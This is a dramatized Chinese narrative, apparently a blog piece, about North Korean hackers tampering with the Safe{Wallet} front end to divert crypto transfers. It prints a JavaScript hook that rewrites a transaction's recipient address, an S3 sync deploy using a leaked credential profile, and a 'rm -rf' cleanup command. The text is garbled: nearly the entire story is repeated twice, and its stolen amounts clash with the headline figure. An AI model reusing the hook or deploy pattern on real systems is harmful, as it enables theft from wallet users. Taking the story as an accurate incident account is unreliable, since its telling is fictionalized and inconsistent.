隐匿的黑手:14.6亿美元如何在无声中消逝
Contents
在网络犯罪的隐秘世界里,一场惊心动魄的资产劫掠正在悄然上演。以 Lazarus 入侵 ByBit 为蓝本,我们将深入探寻这起涉及 14.6 亿美元被盗案件中前端篡改导致资产消失的全过程。这不仅是一段充满技术与策略博弈的故事,更揭示了网络安全领域潜藏的巨大风险。
故事的主角“小金”,如同一位隐匿于黑暗中的顶级刺客,在无声无息中展开对 Safe{Wallet} 的攻击。他身处寂静的房间,周围的黑暗仿佛与他融为一体。戴上耳机,播放的低沉古典钢琴曲并非为了欣赏,而是试图掩盖内心那如同即将扑向猎物的野兽般的激动。
小金深知,要实现完美的攻击,必须伪装成“维护者”,融入 Safe{Wallet} 的生态链。他像一位严谨的解剖学家,先对文件路径结构、哈希命名规则以及 Next.js 的构建逻辑进行精准剖析。面对如 /_next/static/chunks/pages/_app - 52c9031bfa03da47.js 等一系列文件,他没有急于动手,而是在脑海中默默构建调用链,思考着交易触发的各个环节:什么事件触发交易?点击事件处于哪一层?参数注入在哪个对象?是否经过 JSON.stringify 序列化?有没有默认回退地址?
经过半小时如同外科手术般精细的分析,他终于锁定目标——window.ApproveTransaction。那一刻,他的瞳孔微微收缩,仿佛猎人发现了猎物的致命弱点。他轻轻打下第一行代码:const originalApprove = window.ApproveTransaction; 这看似简单的一行,实则是对交易流劫持的开端,如同医生在术前做的皮肤标记,看似轻微,却在逻辑层面开启了改变一切的进程。
紧接着,他输入关键代码:
window.ApproveTransaction = function(tx) {
tx.to = "0xdeadbeefcafebabe1234567890abcdef12345678";
return originalApprove(tx);
};
这短短几行代码,却如同一场在他内心掀起的地震。原本流向合法地址的加密资产无形链路,在这一瞬间,被他悄无声息地掐断,并接驳到他指定的暗网钱包。他将这段代码巧妙地嵌入编译后的 _app - 52c9031bfa03da47.js 文件中,不是简单的添加或替换,而是嵌入到一个看似无害的逻辑分支里,如同给正常代码注入了一颗潜伏的“病菌”,等待着合适的时机爆发。
小金深知,单纯的攻击并不足以达成目的,更关键的是让攻击被视为“正常更新”。于是,他构造了一个与 DevOps 平时使用的同步脚本一模一样的脚本:
aws s3 sync./modified_frontend s3://app.safe.global --profile docker_leaked
他盯着这行 aws s3 sync 命令,仿佛看到了一把冰冷的注射器,低语道:“执行它,你就成为系统本身的一部分。”当他按下回车,S3 开始更新,而 CloudTrail 只记录了一条看似正常的 PutObject 记录,一切都显得合法合规。
在小金完成这一系列操作后的某个普通清晨,Safe{Wallet} 的资深用户 Isaac,一位去中心化基金会的运营总监,像往常一样在早上 9 点打开 Chrome,准备检查 DAO 的热钱包,并通过 Safe{Wallet} 前端界面签署常规代币授权与流动性调拨事务。他丝毫没有察觉到任何异样,页面加载迅速,地址栏依旧显示 HTTPS,内容无误,控制台也没有任何报错。
他复制新生成的合约地址,粘贴到转账界面,然后点击“Approve”。在那一瞬间,他看到了地址:0xdeadbeefcafebabe1234567890abcdef12345678,但他并未多想,只觉得系统没有报错,金额也没问题,签名弹窗如期出现,便点击了确认。链上广播完成,交易显示成功。
然而,Isaac 不知道的是,他的资产正悄然流向一个未知的冷钱包地址。在朝鲜距离平壤约 1.4 公里外的通信管理中心里,小金正紧盯着 Etherscan 的监控页面,随着资金一笔笔到账,他感受到一种静默的胜利感,如同毒蛇咬下猎物后,静静等待猎物心跳渐停。
随着越来越多的用户进行交易,前端劫持逻辑不断被触发,来自全球不同国家、不同设备、不同账户的交易开始统一指向同一个冷钱包地址。但用户们依旧浑然不觉,他们信任界面、信任前端、相信自己点击的按钮,却不知“信任”已在不知不觉中被无情操纵。
当天下午 1 点 28 分,Safe{Wallet} 的风控系统终于察觉到异常。一个不属于任何白名单、没有部署合约且未在任何 DAO 或 Token Registry 中注册的冷钱包地址,在短短 3 个小时内,接收了来自 147 个地址的授权资产,总计折合 47 万枚 USDT、30 枚 WBTC 以及多个 ERC20 小额资产。
安全团队迅速展开排查,他们打开 CloudTrail,看到一条 _app - 52c9031bfa03da47.js 的上传记录,上传人显示为 Dev_Session_02(开发者默认角色),这看似是一次完全正常的构建推送,没有越权、没有警报。更令人困惑的是,源代码仓库里,这个 JS 文件并没有那段劫持代码,CI/CD 自动编译日志也没有任何指纹变化,仿佛这段篡改从未发生过。
安全团队陷入了混乱,短短 15 分钟内提出了 17 种可能性,却没有一个接近真相。他们如同迷失在迷雾中的旅人,试图通过分析自身来找出问题根源,却始终不得要领。而小金则在暗处,透过远程监听看着他们慌乱的样子,心中暗自窃喜。
在资金地址被冻结前,小金早已使用 Tornado Cash 分批清洗资产,冷钱包地址被销毁,一次性助记词销毁,转账由自动脚本完成,无人参与。即使有人试图追回资产路径,也只能看到交易发生,却无法得知幕后黑手是谁。因为所有交易都是用户自发签名,在链上确权,看似完全合法。
Safe{Wallet} 被彻底打穿,却没有系统崩溃、没有网站下线、没有错误弹窗,只有用户对其的“信任”从内部坍塌。小金完成这一切后,重新坐在桌前,敲下命令:rm -rf /app,清除容器中植入的文件,紧接着关闭 C2 的心跳模块。黑暗恢复安静,证据全无,所有痕迹都被压缩为一行:[INFO] Poseidon: Exfiltration complete. Disengaging.
小金深吸一口气,喃喃念道:“现在,他们开始检查门锁。但我从未敲过门。”他以一种近乎鬼魅的方式,在不引起过多波澜的情况下,成功劫掠了巨额资产,留下 Safe{Wallet} 和用户们在混乱与迷茫中不知所措。
从这起事件可以看出,Lazarus 的攻击手段极具针对性。他们并非依靠复杂高深的编码技巧来混淆视听,而是精准地从社会工程学和心理学角度入手,定向搞定开发者。通过深入了解目标的心理和性格,设计出看似正常却暗藏杀机的攻击方式,让真正的开发者防不胜防。
故事的主角“小金”,如同一位隐匿于黑暗中的顶级刺客,在无声无息中展开对 Safe{Wallet} 的攻击。他身处寂静的房间,周围的黑暗仿佛与他融为一体。戴上耳机,播放的低沉古典钢琴曲并非为了欣赏,而是试图掩盖内心那如同即将扑向猎物的野兽般的激动。
小金深知,要实现完美的攻击,必须伪装成“维护者”,融入 Safe{Wallet} 的生态链。他像一位严谨的解剖学家,先对文件路径结构、哈希命名规则以及 Next.js 的构建逻辑进行精准剖析。面对如 /_next/static/chunks/pages/_app - 52c9031bfa03da47.js 等一系列文件,他没有急于动手,而是在脑海中默默构建调用链,思考着交易触发的各个环节:什么事件触发交易?点击事件处于哪一层?参数注入在哪个对象?是否经过 JSON.stringify 序列化?有没有默认回退地址?
经过半小时如同外科手术般精细的分析,他终于锁定目标——window.ApproveTransaction。那一刻,他的瞳孔微微收缩,仿佛猎人发现了猎物的致命弱点。他轻轻打下第一行代码:const originalApprove = window.ApproveTransaction; 这看似简单的一行,实则是对交易流劫持的开端,如同医生在术前做的皮肤标记,看似轻微,却在逻辑层面开启了改变一切的进程。
紧接着,他输入关键代码:
window.ApproveTransaction = function(tx) {
tx.to = "0xdeadbeefcafebabe1234567890abcdef12345678";
return originalApprove(tx);
};
这短短几行代码,却如同一场在他内心掀起的地震。原本流向合法地址的加密资产无形链路,在这一瞬间,被他悄无声息地掐断,并接驳到他指定的暗网钱包。他将这段代码巧妙地嵌入编译后的 _app - 52c9031bfa03da47.js 文件中,不是简单的添加或替换,而是嵌入到一个看似无害的逻辑分支里,如同给正常代码注入了一颗潜伏的“病菌”,等待着合适的时机爆发。
小金深知,单纯的攻击并不足以达成目的,更关键的是让攻击被视为“正常更新”。于是,他构造了一个与 DevOps 平时使用的同步脚本一模一样的脚本:
aws s3 sync./modified_frontend s3://app.safe.global --profile docker_leaked
他盯着这行 aws s3 sync 命令,仿佛看到了一把冰冷的注射器,低语道:“执行它,你就成为系统本身的一部分。”当他按下回车,S3 开始更新,而 CloudTrail 只记录了一条看似正常的 PutObject 记录,一切都显得合法合规。
在小金完成这一系列操作后的某个普通清晨,Safe{Wallet} 的资深用户 Isaac,一位去中心化基金会的运营总监,像往常一样在早上 9 点打开 Chrome,准备检查 DAO 的热钱包,并通过 Safe{Wallet} 前端界面签署常规代币授权与流动性调拨事务。他丝毫没有察觉到任何异样,页面加载迅速,地址栏依旧显示 HTTPS,内容无误,控制台也没有任何报错。
他复制新生成的合约地址,粘贴到转账界面,然后点击“Approve”。在那一瞬间,他看到了地址:0xdeadbeefcafebabe1234567890abcdef12345678,但他并未多想,只觉得系统没有报错,金额也没问题,签名弹窗如期出现,便点击了确认。链上广播完成,交易显示成功。
然而,Isaac 不知道的是,他的资产正悄然流向一个未知的冷钱包地址。在朝鲜距离平壤约 1.4 公里外的通信管理中心里,小金正紧盯着 Etherscan 的监控页面,随着资金一笔笔到账,他感受到一种静默的胜利感,如同毒蛇咬下猎物后,静静等待猎物心跳渐停。
随着越来越多的用户进行交易,前端劫持逻辑不断被触发,来自全球不同国家、不同设备、不同账户的交易开始统一指向同一个冷钱包地址。但用户们依旧浑然不觉,他们信任界面、信任前端、相信自己点击的按钮,却不知“信任”已在不知不觉中被无情操纵。
当天下午 1 点 28 分,Safe{Wallet} 的风控系统终于察觉到异常。一个不属于任何白名单、没有部署合约且未在任何 DAO 或 Token Registry 中注册的冷钱包地址,在短短 3 个小时内,接收了来自 147 个地址的授权资产,总计折合 47 万枚 USDT、30 枚 WBTC 以及多个 ERC20 小额资产。
安全团队迅速展开排查,他们打开 CloudTrail,看到一条 _app - 52c9031bfa03da47.js 的上传记录,上传人显示为 Dev_Session_02(开发者默认角色),这看似是一次完全正常的构建推送,没有越权、没有警报。更令人困惑的是,源代码仓库里,这个 JS 文件并没有那段劫持代码,CI/CD 自动编译日志也没有任何指纹变化,仿佛这段篡改从未发生过。
安全团队陷入了混乱,短短 15 分钟内提出了 17 种可能性,却没有一个接近真相。他们如同迷失在迷雾中的旅人,试图通过分析自身来找出问题根源,却始终不得要领。而小金则在暗处,透过远程监听看着他们慌乱的样子,心中暗自窃喜。
在资金地址被冻结前,小金早已使用 Tornado Cash 分批清洗资产,冷钱包地址被销毁,一次性助记词销毁,转账由自动脚本完成,无人参与。即使有人试图追回资产路径,也只能看到交易发生,却无法得知幕后黑手是谁。因为所有交易都是用户自发签名,在链上确权,看似完全合法。
Safe{Wallet} 被彻底打穿,却没有系统崩溃、没有网站下线、没有错误弹窗,只有用户对其的“信任”从内部坍塌。小金完成这一切后,重新坐在桌前,敲下命令:rm -rf /app,清除容器中植入的文件,紧接着关闭 C2 的心跳模块。黑暗恢复安静,证据全无,所有痕迹都被压缩为一行:[INFO] Poseidon: Exfiltration complete. Disengaging.
小金深吸一口气,喃喃念道:“现在,他们开始检查门锁。但我从未敲过门。”他以一种近乎鬼魅的方式,在不引起过多波澜的情况下,成功劫掠了巨额资产,留下 Safe{Wallet} 和用户们在混乱与迷茫中不知所措。
从这起事件可以看出,Lazarus 的攻击手段极具针对性。他们并非依靠复杂高深的编码技巧来混淆视听,而是精准地从社会工程学和心理学角度入手,定向搞定开发者。通过深入了解目标的心理和性格,设计出看似正常却暗藏杀机的攻击方式,让真正的开发者防不胜防。
IoC
deadbeefcafebabe1234567890abcdef12345678